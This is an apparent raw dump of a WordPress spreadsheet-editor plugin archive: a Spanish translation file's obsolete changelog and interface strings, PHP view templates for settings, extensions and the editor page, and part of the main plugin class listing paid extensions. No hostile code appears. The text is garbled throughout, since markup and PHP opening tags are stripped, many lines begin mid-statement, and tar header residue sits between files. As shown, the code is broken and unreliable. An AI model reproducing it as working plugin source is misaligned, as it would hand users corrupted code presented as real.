                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - El flujo de configuración rápida fue rediseñado para " #~ "que la configuración sea más fácil de entender.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved translations. Now we include a .pot file.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Traducciones mejoradas. Ahora incluimos un archivo." #~ "pot.

                  " #~ msgid "" #~ "

                  FIX - CORE - Added compatibility with \"ultimate fields\" plugin.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Añadida la compatibilidad con el plugin \"ultimate " #~ "fields\".

                  " #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields +v5.0.0. " #~ "(Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Advanced Custom Fields " #~ "+v5.0.0. (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New feature - Spreadsheet formulas - Added support for regular " #~ "expressions (Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Fórmulas de hoja de cálculo - Añadido soporte para " #~ "expresiones regulares (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New extension - WooCommerce Customers Spreadsheet. View all customer " #~ "profiles, View shipping and Billing info, Advanced Searches, and more. View Extension)" #~ msgstr "" #~ "Nueva extensión - Hoja de cálculo de clientes de WooCommerce. Ver todos " #~ "los perfiles de clientes, Ver información de envío y facturación, " #~ "Búsquedas avanzadas y más. Ver Extensión " #~ ")" #~ msgid "" #~ "Updated extension - Frontend Spreadsheets. Let your users create and edit " #~ "Information like Events, Business listings, WooCommerce Products, Posts, " #~ "etc. View Extension)" #~ msgstr "" #~ "Extensión actualizada - Hojas de cálculo de Frontend. Permite a tus " #~ "usuarios crear y editar información como eventos, listados de negocios, " #~ "Productos WooCommerce, Posts, etc. Ver " #~ "Extensión )" #~ msgid "Improved tools: formulas engine" #~ msgstr "Herramientas mejoradas: motor de fórmulas" #~ msgid "Improved tools: advanced search" #~ msgstr "Herramientas mejoradas: búsqueda avanzada" #~ msgid "Fixed more than 19 bugs" #~ msgstr "Arreglados más de 19 bugs" #~ msgid "Improved 10 features" #~ msgstr "10 características mejoradas" #~ msgid "Updated 4 extensions." #~ msgstr "4 Extensiones Actualizadas." #~ msgid "Apply filters" #~ msgstr "Aplicar filtros" #~ msgid "" #~ "You will be able to switch from one columns group to another group with " #~ "one click. We will display the option in the top toolbar > columns " #~ "manager dropdown" #~ msgstr "" #~ "Podrás cambiar de un grupo de columnas a otro grupo con un solo clic. " #~ "Mostraremos la opción en la barra de herramientas superior > desplegable " #~ "del gestor de columnas" #~ msgid "Edit thousands of rows at once in seconds" #~ msgstr "Edita miles de filas a la vez en segundos" #~ msgid "" #~ "Delete all the items containing duplicate values in the column, we only " #~ "leave one item per unique value. Read more" #~ msgstr "" #~ "Borrar todos los ítems que contienen valores duplicados en la columna, " #~ "sólo dejamos un ítem por cada valor único. Leer más" #~ msgid "Copy from multiple columns" #~ msgstr "Copiar desde varias columnas" #~ msgid "" #~ "Example: 'Articles written by $post_author$ on $post_date$' = 'Articles " #~ "written by Adam on 24-12-2017'.
                  Another example: '$category$-" #~ "$_regular_price$ EUR' would be 'Videos - 25 EUR'" #~ msgstr "" #~ "Ejemplo: 'Artículos escritos por $post_author$ en $post_date$' = " #~ "'Artículos escritos por Adam el 24-12-2017'.
                  Otro ejemplo: " #~ "'$category$-$_regular_price$ EUR' sería `Videos - 25 EUR´'." #~ msgid "The variations are for these products:" #~ msgstr "Las variaciones son para estos productos:" #~ msgid "Hide cell comments?" #~ msgstr "¿Ocultar los comentarios de las celdas?" #~ msgid "" #~ "For example, to get all products with price higher than 100, use: " #~ "_regular_price > 100" #~ msgstr "" #~ "Por ejemplo, para encontrar todos los productos con precio mayor a 100, " #~ "usa: _regular_price > 100" #~ msgid "" #~ "- The sheet has a limit of %d columns for performance reasons. You " #~ "reached the limit. You need to delete columns in the list above (Move " #~ "them to the \"disabled\" list and click the X button on each column), " #~ "reload the page, and new columns will appear automatically - or - you can " #~ "increase the columns limit." #~ msgstr "" #~ "- La hoja tiene un límite de %d de columnas por razones de rendimiento. " #~ "Has llegado al límite. Necesitas eliminar las columnas de la lista " #~ "anterior (Muévelas a la lista \"desactivada\" y haz clic en el botón X de " #~ "cada columna), vuelve a cargar la página, y aparecerán nuevas columnas " #~ "automáticamente - o - puedes aumentar el " #~ "límite de las columnas ." #~ msgid "" #~ "Make advanced searches and show only the matching rows in the " #~ "spreadsheet. You can search by multiple conditions at once." #~ msgstr "" #~ "Haz búsquedas avanzadas y muestra sólo las filas coincidentes en la hoja " #~ "de cálculo. Puedes buscar por múltiples condiciones a la vez." #~ msgid "" #~ "This feature allows you to filter the items in the spreadsheet to display " #~ "only the items you want to edit." #~ msgstr "" #~ "Esta función te permite filtrar los elementos de la hoja de cálculo para " #~ "mostrar sólo los elementos que quieres editar." #~ msgid "Update existing value with the result of a math operation." #~ msgstr "" #~ "Actualizar el valor existente con el resultado de una operación " #~ "matemática." #~ msgid "Decrease the existing value by a percentage." #~ msgstr "Disminuir el valor existente en un porcentaje." #~ msgid "Decrease the existing value by a number." #~ msgstr "Disminuir el valor existente en un número." #~ msgid "Increase the existing value by a percentage." #~ msgstr "Incrementar el valor existente en un porcentaje." #~ msgid "Increase the existing value by a number." #~ msgstr "Incrementar el valor existente en un número." #~ msgid "" #~ "Invalid #8W89WW. The search and replace text must not be empty. At least " #~ "one of them must have a value" #~ msgstr "" #~ "Inválido #8W89WWW. El texto de búsqueda y reemplazo no debe estar vacío. " #~ "Al menos uno de ellos debe tener un valor" #~ msgid "

                  Complete. You can close this popup

                  ." #~ msgstr "

                  Completo. Puedes cerrar esta ventana emergente

                  ." #~ msgid "%d of %d items have been processed. %d items have been updated." #~ msgstr "%d de %d artículos han sido procesados. %d han sido actualizados." #~ msgid "I will edit this file with Microsoft Excel." #~ msgstr "Editaré este archivo con Microsoft Excel." #~ msgid "" #~ "Sometimes Excel shows all the values in a single cell and it does not " #~ "recognize the comma as separator. This fixes that problem" #~ msgstr "" #~ "A veces Excel muestra todos los valores en una sola celda y no reconoce " #~ "la coma como separador. Esto arregla el problema" #~ msgid "" #~ "We find items that have the same value in the CSV Field and the WP Field." #~ "
                  For example, users with the same email address in the CSV and WP." #~ "
                  We can search in 2 fields. Example: products with same SKU and Title," #~ "
                  or users with same email address and username." #~ msgstr "" #~ "Encontramos elementos que tienen el mismo valor en el campo CSV y en el " #~ "campo WP.
                  Por ejemplo, los usuarios con la misma dirección de correo " #~ "electrónico en el CSV y WP.
                  Podemos buscar en 2 campos. Ejemplo: " #~ "productos con el mismo SKU y título,
                  o usuarios con la misma " #~ "dirección de correo electrónico y nombre de usuario." #~ msgid "Field 1: CSV Field" #~ msgstr "Campo 1: Campo CSV" #~ msgid "Field 1: WordPress Field" #~ msgstr "Campo 1: Campo de WordPress" #~ msgid "Share" #~ msgstr "Compartir" #~ msgid "" #~ "

                  Missing column?

                  1. Try to add it automatically. Click here
                  2. You reached the " #~ "columns limit? Fix it
                  3. Maybe " #~ "the column is hidden.
                  4. We can " #~ "help you Contact us
                  " #~ msgstr "" #~ "

                  ¿Falta una columna?

                  1. Intenta añadirla automáticamente. Haz clic aquí
                  2. ¿Has llegado al " #~ "límite de las columnas? Corregir
                  3. >Tal vez la columna esté oculta.
                  4. Podemos ayudarte Contáctanos
                  " #~ msgid "(Go premium)" #~ msgstr "(Pasate a Premium)" #~ msgid "How many posts do you want to display on the spreadsheet?" #~ msgstr "¿Cuántos posts quieres mostrar en la hoja de cálculo?" #~ msgid "Advanced" #~ msgstr "Avanzado" #~ msgid "" #~ "When you have 1000 posts , you might want to open the spreadsheet and " #~ "start editing from post 200. This option lets you open the spreadsheet " #~ "and start from a specific post index instead of starting from the " #~ "beginning." #~ msgstr "" #~ "Cuando tengas 1000 posts, es posible que quieras abrir la hoja de cálculo " #~ "y empezar a editar desde el post 200. Esta opción te permite abrir la " #~ "hoja de cálculo y empezar desde un índice de post específico en lugar de " #~ "empezar desde el principio." #~ msgid "Scheduled" #~ msgstr "Programado" #~ msgid "You can deactivate this forever on the settings page" #~ msgstr "Puedes desactivarlo para siempre en la página de configuración" #~ msgid "Available post types" #~ msgstr "Tipos de post disponibles" #~ msgid "Custom Spreadsheets for Your Users or Employees" #~ msgstr "Hojas de cálculo personalizadas para tus usuarios o empleados" modules/wp-sheet-editor/views/single-extension.php000064400000002271147600365160016407 0ustar00

                  ' . __('Active.', 'vg_sheet_editor' ) . '

                  '; } echo esc_html($extension['status']); ?>
                  modules/wp-sheet-editor/views/settings-page.php000064400000000771147600365160015671 0ustar00
                  render_settings_form(); ?>
                  modules/wp-sheet-editor/views/settings-form.php000064400000015126147600365160015720 0ustar00

                  $section ) { ?>
                  options[ $field['id'] ] ) ? VGSE()->options[ $field['id'] ] : ''; if ( is_numeric( $value ) && isset( $field['default'] ) && is_int( $field['default'] ) ) { $value = (int) $value; } $input_type = ! empty( $field['validate'] ) && $field['validate'] === 'numeric' ? 'number' : 'text'; ?>




                  modules/wp-sheet-editor/views/usage-stats-widget.php000064400000011671147600365160016641 0ustar00
                  helpers->user_can_manage_options()) { ?>

                  0) { ?>

                  array( 'label' => __('Modified rows', 'vg_sheet_editor' ), 'count' => number_format($processed_count), ), 'time_saved' => array( 'label' => __('Time saved
                  (estimated)', 'vg_sheet_editor' ), 'count' => ( $minutes_saved > 60 ) ? intval($minutes_saved / 60) . ' hr' : intval($minutes_saved) . ' mins.', ), 'clicks_avoided' => array( 'label' => __('Clicks avoided
                  (estimated)', 'vg_sheet_editor' ), 'count' => number_format($editions_count * 3), ), ); $stats = apply_filters('vg_sheet_editor/usage_stats/stats', $stats, $editions_count, $processed_count); if (!empty($stats)) { ?>
                    $stat) { ?>

                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More', 'vg_sheet_editor' ); ?>


                  helpers->get_enabled_post_types(); if (!empty($post_types)) { foreach ($post_types as $key => $post_type_name) { if (is_numeric($key)) { $key = $post_type_name; } ?>
                  helpers->user_can_manage_options()) { ?>

                  get_support_links(null, '', 'usage-stats-help'); if (!empty($support_links)) { foreach ($support_links as $support_link) { ?>
                  modules/wp-sheet-editor/views/post-types-form.php000064400000004050147600365160016201 0ustar00helpers->get_prepared_post_types(); $enabled_post_types = VGSE()->helpers->get_enabled_post_types(); $post_types = VGSE()->helpers->get_all_post_types(array( 'show_in_menu' => true, )); if (empty($post_types)) { return; } ?>

                  >
                  modules/wp-sheet-editor/views/extensions-page.php000064400000001635147600365160016230 0ustar00

                  render_extensions_list(); ?>
                  modules/wp-sheet-editor/views/quick-setup.php000064400000011210147600365160015357 0ustar00helpers->get_provider_from_query_string(); update_option('vgse_disable_quick_setup', true); $welcome_url = apply_filters('vg_sheet_editor/welcome_url', null); if ($welcome_url) { ?>
                  • Setup
                  • Enable modules
                  • Start editing

                  ' . __('Select the information that you want to edit with the spreadsheet editor.', 'vg_sheet_editor' ) . '

                  ' . $post_types_form; $steps = apply_filters('vg_sheet_editor/quick_setup_page/setup_steps', $steps); if (!empty($steps)) { echo '
                    '; foreach ($steps as $key => $step_content) { ?>
                  1. '; } ?>

                  Enable Advanced Spreadsheet Features -
                  render_extensions_list(); ?> -

                  helpers->get_enabled_post_types(); if (!empty($post_types)) { foreach ($post_types as $key => $post_type_name) { if (is_numeric($key)) { $key = $post_type_name; } ?>


                  modules/wp-sheet-editor/views/extensions.php000064400000003755147600365160015323 0ustar00
                  helpers->is_editor_page() && empty($_GET['vgse_only_inactive'])) { ?>
                  render_extensions_group(wp_list_filter($extensions, array( 'is_active' => true, ))); ?>
                  $bundle) { if (empty($bundle['extensions'])) { continue; } ?>

                  $ %s $ %s', 'vg_sheet_editor' ), count($bundle['extensions']), $bundle['old_price'], $bundle['price']); ?> Use the coupon: %s', 'vg_sheet_editor' ), esc_html($bundle['coupon'])); } ?>

                  Money back guarantee. Buy the plugin without worries. We\'ll give you a refund if the plugin doesn\'t work.', 'vg_sheet_editor' ); ?>

                  render_extensions_group($bundle['extensions'], $bundle); ?>


                  render_extensions_group(wp_list_filter($extensions, array( 'is_active' => false, 'bundle' => false, ))); ?>
                  modules/wp-sheet-editor/views/free-extensions-for-welcome.php000064400000001305147600365160020444 0ustar00helpers->get_prepared_post_types(), array('is_disabled' => true)); ob_start(); foreach ($sheets as $sheet) { if (strpos($sheet['description'], 'free') === false) { continue; } ?>

                  ', ''), '', $sheet['description'])); ?>

                  Free extensions

                  ', 'vg_sheet_editor' ) . $free_extensions; modules/wp-sheet-editor/views/extensions-modal.php000064400000000743147600365160016407 0ustar00

                  modules/wp-sheet-editor/views/editor-page.php000064400000051771147600365160015325 0ustar00helpers->get_provider_from_query_string(); } $editor = VGSE()->helpers->get_provider_editor( $current_post_type ); if ( ! $editor ) { return; } $editor_settings = $editor->get_editor_settings( $current_post_type ); if ( function_exists( 'WPSE_Profiler_Obj' ) ) { WPSE_Profiler_Obj()->record( 'Start ' . __FUNCTION__ ); } if ( ! empty( $_GET['wpse_load_rows_main_page'] ) && VGSE_DEBUG && VGSE()->helpers->user_can_manage_options() ) { if ( ! defined( 'WPSE_PROFILE' ) && ! empty( $_GET['wpse_profile'] ) ) { define( 'WPSE_PROFILE', true ); } $rows = VGSE()->helpers->get_rows( array( 'nonce' => $nonce, 'post_type' => $current_post_type, 'filters' => '', 'wpse_source' => 'load_rows', ) ); return; } $subtle_lock = in_array( date( 'Y-m-d' ), array( '2019-10-22', '2019-10-24', '2019-10-30' ) ) ? true : false; ?>
                  record( 'Before logo ' . __FUNCTION__ ); } ?>
                  options['be_disable_full_screen_mode_on'] ); ?>
                  record( 'Before secondary toolbar ' . __FUNCTION__ ); } ?> args['toolbars'] ) ? $editor->args['toolbars']->get_rendered_provider_items( $current_post_type, 'secondary' ) : ''; if ( $secondary_toolbar_items_html ) { ?>
                  record( 'Before primary toolbar ' . __FUNCTION__ ); } ?>
                  args['toolbars'] ) { echo $editor->args['toolbars']->get_rendered_provider_items( $current_post_type, 'primary' ); // WPCS: XSS ok. } do_action( 'vg_sheet_editor/toolbar/after_buttons', $current_post_type, 'primary' ); ?>
                  record( 'Before console ' . __FUNCTION__ ); } ?>
                  array( 'label' => __( 'Current spreadsheet', 'vg_sheet_editor' ), 'value' => VGSE()->helpers->get_post_type_label( $current_post_type ), ), 'be-total-rows' => array( 'label' => __( 'Rows', 'vg_sheet_editor' ), 'value' => 0, ), ); if ( ! empty( VGSE()->options[ 'default_sortby_' . $current_post_type ] ) ) { $custom_order_by = preg_replace( '/^(ASC|DESC):/', '', VGSE()->options[ 'default_sortby_' . $current_post_type ] ); $custom_order = strpos( VGSE()->options[ 'default_sortby_' . $current_post_type ], 'ASC:' ) === 0 ? 'ASC' : 'DESC'; $spreadsheet_columns = VGSE()->helpers->get_provider_columns( $current_post_type ); $sort_name = isset( $spreadsheet_columns[ $custom_order_by ] ) ? $spreadsheet_columns[ $custom_order_by ]['title'] : $custom_order_by; $console_items['be-global-sort'] = array( 'label' => __( 'Global sort', 'vg_sheet_editor' ), 'value' => $sort_name . ' (' . $custom_order . ')', ); } $console_items = apply_filters( 'vg_sheet_editor/editor_page/console_items', $console_items, $current_post_type ); foreach ( $console_items as $key => $item ) { ?> : . helpers->let_to_num( WP_MEMORY_LIMIT ); if ( function_exists( 'memory_get_usage' ) ) { $wp_memory_limit = max( $wp_memory_limit, VGSE()->helpers->let_to_num( @ini_get( 'memory_limit' ) ) ); } if ( $wp_memory_limit > 0 && $wp_memory_limit < 256000000 ) { echo '' . __( '. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial', 'vg_sheet_editor' ) . ''; } ?>
                  options['be_disable_automatic_loading_rows'] ) ) { ?>

                  helpers->user_can_manage_options() ) { ?>

                  Change the settings', 'vg_sheet_editor' ); ?>

                  record( 'Before data ' . __FUNCTION__ ); } ?>
                  record( 'Before footer ' . __FUNCTION__ ); } ?>

                  record( 'Before modals ' . __FUNCTION__ ); } ?>


                  record( 'Before save changes modal ' . __FUNCTION__ ); } ?>

                  1. You can wait until the process finished.
                  2. You can ', 'vg_sheet_editor' ); ?>
                  record( 'After content ' . __FUNCTION__ ); } ?>
                  record( 'After editor page ' . __FUNCTION__ ); } ?> finish( 'editor-page' ); } if ( function_exists( 'WPSE_Profiler_Groups_Obj' ) ) { WPSE_Profiler_Groups_Obj()->finish( 0.01 ); } modules/wp-sheet-editor/views/support-modal.php000064400000001515147600365160015722 0ustar00

                  modules/wp-sheet-editor/views/whats-new.php000064400000003145147600365160015032 0ustar00

                  version; if (!empty($_GET['vgse_version']) && preg_match('/\d/', $_GET['vgse_version'])) { $version = preg_replace('/[^\\d.]+/', '', $_GET['vgse_version']); } include VGSE_DIR . '/views/whats-new/' . $version . '.php'; $items = apply_filters('vg_sheet_editor/whats_new_page/items', $items); if (!empty($items)) { echo '
                    '; foreach ($items as $key => $step_content) { ?>
                  1. '; } ?>

                  render_extensions_list(); ?>
                  get_files_list( VGSE_DIR . '/inc/api' ); $teasers = $vgse_helpers->get_files_list( VGSE_DIR . '/inc/teasers' ); $inc = $vgse_helpers->get_files_list( VGSE_DIR . '/inc' ); $providers = $vgse_helpers->get_files_list( VGSE_DIR . '/inc/providers' ); $integrations = $vgse_helpers->get_files_list( VGSE_DIR . '/inc/integrations' ); $files = array_merge( $api, $teasers, $inc, $providers, $integrations ); foreach ( $files as $file ) { require_once $file; } if ( ! class_exists( 'WP_Sheet_Editor' ) ) { class WP_Sheet_Editor { private $post_type; public $version = '2.25.13'; public $textname = 'vg_sheet_editor'; public $options_key = 'vg_sheet_editor'; public $plugin_url = null; public $logo_url = null; public $plugin_dir = null; public $options = null; /** * @var WP_Sheet_Editor_Data */ public $data_helpers = null; /** * @var WP_Sheet_Editor_Helpers */ public $helpers = null; public $registered_columns = null; public $toolbar = null; public $columns = null; public $WC = null; public $support_links = array(); public $extensions = array(); public $bundles = array(); public $buy_link = null; private static $instance = null; public $current_provider = null; /** * Registered editors instances grouped by provider key * I.e. all the editors that use the "post" provider, would appear as enabled_post_types in the "post" WP_Sheet_Editor_Factory instance * * @var WP_Sheet_Editor_Factory[] */ public $editors = array(); public $user_path = array(); /** * When we execute ajax calls, we always store the deleted post IDs and return this field, so the JS can remove the rows from the sheet * * @var int[] */ public $deleted_rows_ids = array(); /** * Creates or returns an instance of this class. * * */ static function get_instance() { if ( null == self::$instance ) { self::$instance = new WP_Sheet_Editor(); } return self::$instance; } function __set( $name, $value ) { $this->$name = $value; } function __get( $name ) { return $this->$name; } private function __construct() { } public static function allow_to_initialize() { if ( ! is_admin() && ! ( defined( 'WP_CLI' ) && WP_CLI ) && ! wp_doing_cron() && ! apply_filters( 'vg_sheet_editor/allowed_on_frontend', false ) ) { return false; } return true; } /** * Plugin init */ function init() { do_action( 'vg_sheet_editor/before_initialized' ); // Exit if frontend and it\'s not allowed if ( ! self::allow_to_initialize() ) { return; } // Disable WC's marketplace ads add_filter( 'woocommerce_allow_marketplace_suggestions', '__return_false' ); $lang_path = str_replace( wp_normalize_path( WP_PLUGIN_DIR ) . '/', '', wp_normalize_path( __DIR__ . '/lang/' ) ); load_plugin_textdomain( VGSE()->textname, false, $lang_path ); // Init internal APIs $this->data_helpers = WP_Sheet_Editor_Data::get_instance(); $this->helpers = WP_Sheet_Editor_Helpers::get_instance(); $this->buy_link = ( function_exists( 'vgse_freemius' ) ) ? vgse_freemius()->checkout_url() : 'https://wpsheeteditor.com'; if ( defined( 'WPSE_PROFILE_WHATISSOSLOW' ) && class_exists( 'WPSE_WhatIsSoSlow' ) ) { WPSE_WhatIsSoSlow(); } if ( ! empty( $_GET['wpse_hard_reset'] ) && ! empty( $_GET['wpse_nonce'] ) && VGSE()->helpers->user_can_manage_options() && wp_verify_nonce( $_GET['wpse_nonce'], 'wpse' ) ) { $this->on_uninstall(); if ( ! headers_sent() ) { wp_redirect( remove_query_arg( array( 'wpse_hard_reset', 'wpse_nonce' ) ) ); exit(); } } if ( ! empty( $_GET['wpse_export_settings'] ) && ! empty( $_GET['wpse_nonce'] ) && VGSE()->helpers->user_can_manage_options() && wp_verify_nonce( $_GET['wpse_nonce'], 'wpse' ) ) { $this->export_settings(); } $options = get_option( $this->options_key ); $default_options = array( 'last_tab' => null, 'be_post_types' => array( 'post', ), 'be_posts_per_page' => 40, 'be_load_items_on_scroll' => 1, 'be_fix_columns_left' => 2, 'be_posts_per_page_save' => 8, 'be_timeout_between_batches' => 6, 'be_disable_post_actions' => 0, ); if ( empty( $options ) ) { $options = $default_options; update_option( $this->options_key, $options ); } else { $options = wp_parse_args( $options, $default_options ); } $this->options = $options; do_action( 'vg_sheet_editor/initialized' ); $post_type = $options['be_post_types']; $this->post_type = $post_type; $this->plugin_url = plugins_url( '/', __FILE__ ); $this->plugin_dir = __DIR__; $this->logo_url = apply_filters( 'vg_sheet_editor/logo_url', $this->plugin_url . 'assets/imgs/logo.svg' ); $free_plugin_uri = 'plugin-install.php?tab=search&type=term&s='; $free_plugin_base_url = ( is_multisite() ) ? network_admin_url( $free_plugin_uri ) : admin_url( $free_plugin_uri ); $this->extensions = apply_filters( 'vg_sheet_editor/extensions', array( 'users_lite' => array( 'title' => __( 'Edit User Profiles in Spreadsheet - Basic', 'vg_sheet_editor' ), 'icon' => 'fa-users', // fa-search 'image' => '', // fa-search 'description' => __( '

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  ', 'vg_sheet_editor' ), // incluir

                  'bundle' => array( 'users' ), 'class_function_name' => 'WP_Sheet_Editor_Users', 'wp_org_slug' => 'bulk-edit-user-profiles-in-spreadsheet', 'post_types' => array(), 'extension_id' => 24, ), 'users' => array( 'title' => __( 'Edit User Profiles in Spreadsheet - FULL', 'vg_sheet_editor' ), 'icon' => 'fa-users', // fa-search 'image' => '', // fa-search 'description' => __( '

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  ', 'vg_sheet_editor' ), // incluir

                  'bundle' => array( 'users' ), 'class_function_name' => 'VGSE_USERS_IS_PREMIUM', 'post_types' => array(), 'extension_id' => 24, ), 'wc_customers' => array( 'title' => __( 'WooCommerce Customers Spreadsheet', 'vg_sheet_editor' ), 'icon' => 'fa-users', // fa-search 'image' => '', // fa-search 'description' => __( '

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  ', 'vg_sheet_editor' ), // incluir

                  'bundle' => array( 'users' ), 'class_function_name' => 'VGSE_USERS_IS_PREMIUM', 'post_types' => array(), 'extension_id' => 24, ), 'media_library' => array( 'title' => __( 'Media Library Spreadsheet', 'vg_sheet_editor' ), 'icon' => 'fa-image', // fa-search 'image' => '', // fa-search 'description' => __( '

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  ', 'vg_sheet_editor' ), // incluir

                  'inactive_action_url' => 'https://wpsheeteditor.com/go/media-addon?utm_source=wp-admin&utm_medium=extensions-list&utm_campaign=media', 'inactive_action_label' => __( 'Buy', 'vg_sheet_editor' ), 'freemius_function' => 'wpseml_freemius', 'bundle' => false, 'class_function_name' => 'VGSE_MEDIA_LIBRARY_IS_PREMIUM', 'wp_org_slug' => '', 'post_types' => array( 'attachment' ), 'extension_id' => 78, ), 'taxonomy_terms' => array( 'title' => __( 'Edit categories, tags, attributes in a spreadsheet', 'vg_sheet_editor' ), 'icon' => 'fa-tags', // fa-search 'image' => '', // fa-search 'description' => __( '

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  ', 'vg_sheet_editor' ), // incluir

                  'inactive_action_url' => 'https://wpsheeteditor.com/go/taxonomy-terms-addon?utm_source=wp-admin&utm_medium=extensions-list&utm_campaign=taxonomy-terms', 'inactive_action_label' => __( 'Buy', 'vg_sheet_editor' ), 'freemius_function' => 'wpsett_fs', 'bundle' => false, 'class_function_name' => 'VGSE_TAXONOMY_TERMS_IS_PREMIUM', 'wp_org_slug' => 'bulk-edit-categories-tags', 'post_types' => array_unique( array_merge( get_taxonomies( array( 'public' => true, 'show_ui' => true, '_builtin' => true, ), 'names' ), get_taxonomies( array( 'show_ui' => true, '_builtin' => false, ), 'names' ) ) ), 'extension_id' => 19, ), 'woocommerce_coupons' => array( 'title' => __( 'WooCommerce Coupons Spreadsheet', 'vg_sheet_editor' ), 'icon' => 'fa-bullhorn', // fa-search 'image' => '', // fa-search 'description' => __( '

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  ', 'vg_sheet_editor' ), // incluir

                  'inactive_action_url' => 'https://wpsheeteditor.com/go/wc-coupons-addon?utm_source=wp-admin&utm_medium=extensions-list&utm_campaign=coupons', 'inactive_action_label' => __( 'Buy', 'vg_sheet_editor' ), 'freemius_function' => 'wpsewcc_fs', 'bundle' => false, 'class_function_name' => 'VGSE_WC_COUPONS_IS_PREMIUM', 'wp_org_slug' => 'woo-coupons-bulk-editor', 'post_types' => array( 'shop_coupon' ), 'extension_id' => 21, ), 'woocommerce_orders' => array( 'title' => __( 'WooCommerce Orders Spreadsheet', 'vg_sheet_editor' ), 'icon' => 'fa-shopping-cart', // fa-search 'image' => '', // fa-search 'description' => __( '

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  ', 'vg_sheet_editor' ), // incluir

                  'inactive_action_url' => 'https://wpsheeteditor.com/extensions/woocommerce-orders-spreadsheet/?utm_source=wp-admin&utm_medium=extensions-list&utm_campaign=orders', 'inactive_action_label' => __( 'Buy', 'vg_sheet_editor' ), 'freemius_function' => 'wpsewco_fs', 'bundle' => false, 'class_function_name' => 'VGSE_WC_ORDERS_IS_PREMIUM', 'wp_org_slug' => '', 'post_types' => array( 'shop_order', $GLOBALS['wpdb']->prefix . 'wc_orders', 'shop_subscription' ), 'extension_id' => 79, ), 'comments' => array( 'title' => __( 'Comments, Reviews, and Order Notes Spreadsheet', 'vg_sheet_editor' ), 'icon' => 'fa-comments', // fa-search 'image' => '', // fa-search 'description' => __( '

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  ', 'vg_sheet_editor' ), // incluir

                  'inactive_action_url' => 'https://wpsheeteditor.com/go/comments-addon?utm_source=wp-admin&utm_medium=extensions-list&utm_campaign=comments', 'inactive_action_label' => __( 'Buy', 'vg_sheet_editor' ), 'freemius_function' => 'wpsecr_fs', 'bundle' => false, 'class_function_name' => 'VGSE_COMMENTS_IS_PREMIUM', 'wp_org_slug' => '', 'post_types' => array( 'comments' ), 'extension_id' => 81, ), 'custom_tables' => array( 'title' => __( 'Custom Database Tables Spreadsheet', 'vg_sheet_editor' ), 'icon' => 'fa-table', // fa-search 'image' => '', // fa-search 'description' => __( '

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  ', 'vg_sheet_editor' ), // incluir

                  'inactive_action_url' => 'https://wpsheeteditor.com/extensions/custom-database-tables-spreadsheet/?utm_source=wp-admin&utm_medium=extensions-list&utm_campaign=custom-tables', 'inactive_action_label' => __( 'Buy', 'vg_sheet_editor' ), 'freemius_function' => 'wpsect_fs', 'bundle' => false, 'class_function_name' => 'VGSE_CUSTOM_TABLES_IS_PREMIUM', 'wp_org_slug' => '', // xxxxx because we don't know the keys of custom tables yet 'post_types' => array( 'xxxxxx' ), 'extension_id' => 95, ), 'edd' => array( 'title' => __( 'Easy Digital Downloads Spreadsheet', 'vg_sheet_editor' ), 'icon' => 'fa-download', // fa-search 'image' => '', // fa-search 'description' => __( '

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  ', 'vg_sheet_editor' ), // incluir

                  'inactive_action_url' => 'https://wpsheeteditor.com/go/edd-downloads-addon?utm_source=wp-admin&utm_medium=extensions-list&utm_campaign=edd', 'inactive_action_label' => __( 'Buy', 'vg_sheet_editor' ), 'freemius_function' => 'wpseedd_fs', 'bundle' => false, 'class_function_name' => 'VGSE_EDD_DOWNLOADS_IS_PREMIUM', 'wp_org_slug' => 'wp-sheet-editor-edd-downloads', 'post_types' => array( 'download' ), 'extension_id' => 18, ), 'events' => array( 'title' => __( 'Events Spreadsheet', 'vg_sheet_editor' ), 'icon' => 'fa-ticket', // fa-search 'image' => '', // fa-search 'description' => __( '

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  ', 'vg_sheet_editor' ), // incluir

